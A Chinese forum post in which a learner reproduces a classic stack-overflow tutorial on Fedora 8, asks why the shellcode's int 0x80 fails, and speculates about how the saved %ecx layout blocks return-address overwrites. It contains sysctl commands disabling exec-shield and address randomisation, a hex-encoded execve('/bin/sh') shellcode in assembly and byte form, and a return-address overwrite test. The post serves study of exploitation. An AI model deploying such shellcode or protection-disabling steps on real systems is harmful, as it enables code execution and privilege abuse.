- 论坛徽章:
- 0
|
文章很经典啊,看了好几遍才终于有点明白了
在我的F8(2.6.23.1-42)上实践了一下,root用户登陆,首先是把有关stack执行保护都关了
# /sbin/sysctl -w kernel.exec-shield=0
# /sbin/sysctl -w kernel.randomize_va_space=0
用到的shellcode如下:
void main(){
__asm__(
"jmp .+0x23 \n"
"popl %esi \n"
"movl %esi,(%eax) \n"
"leal (%eax),%ecx \n"
"movl $0x0,%eax \n"
"leal (%eax),%edx \n"
"movl %esi,%ebx \n"
"movl $0xb,%eax \n"
"int $0x80 \n"
"movl $0x1,%eax \n"
"movl $0x0,%ebx \n"
"int $0x80 \n"
"call .-0x21 \n"
".string \"/bin/sh\" \n"
);
} |
test.c代码如下:
char shellcode[]=
"\xeb\x16\x5e\x89\x30\x8d\x08\x31\xc0\x8d\x10\x89\xf3\xb0\x0b\xcd"
"\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";
void main(){
__asm__(
"call shellcode \n";
} |
编译
#gcc -o test -ggdb test.c
允许栈执行
#execstack -s test
执行,成功! 证明我的shellcode没有问题。
在进行到testsc.c这个例子的时候,代码如下:
char shellcode[]=
"\xeb\x16\x5e\x89\x30\x8d\x08\x31\xc0\x8d\x10\x89\xf3\xb0\x0b\xcd"
"\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";
void main(){
int *ret;
ret = (int *)&ret + 7;
*ret = (int)shellcode; |
}
编译
#gcc -o testsc -ggdb testsc.c
允许栈执行
#execstack -s testsc
执行,没反应直接退出...
单步调试了一下,main() 中ret返回后可以成功跳到shellcode,并且继续执行,问题出在int 0x80好像没执行,直接就执行下去了
截了图与上一个test的作比较:附件一
在我看来寄存器内容都是基本一样,只是ecx的中指向“/bin/sh”串的地址一个是在栈里,一个是在(我也不知道是在哪,大概是.text区?),为什么int 80会执行不起来呢
我找了一些关于防止bufferflow的文档看了一下,好像问题也只能出在栈中能否执行系统调用这里,不解啊......
有没有弄过与这里相关的研究的达人来指点一下~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
另外,通过对内存中栈的内容的无数次观察,得到了一个推断:
在F8中,正常的ret地址是不起作用的,其作用的ret地址在原ret地址+16byte的地方,而这个地址是由一开始的-4(%ecx)得来的
大概画了个图:附件二
所以如果以前的栈覆盖方法是不行了,在覆盖ret地址时,必定会先盖了栈里保存的之前%ecx的地址,而最后函数执行结束后返回由-4(%ecx)得到的ret地址肯定是错的,溢出就无法继续了。
不知道我的这个说法正确不?
另外说一下,我是最近才开始看这里相关的东西的 (^_^),如果上面说的东西已经很过时了,还是希望大家能帮我指点一下,或是给些信息我去看看 |
|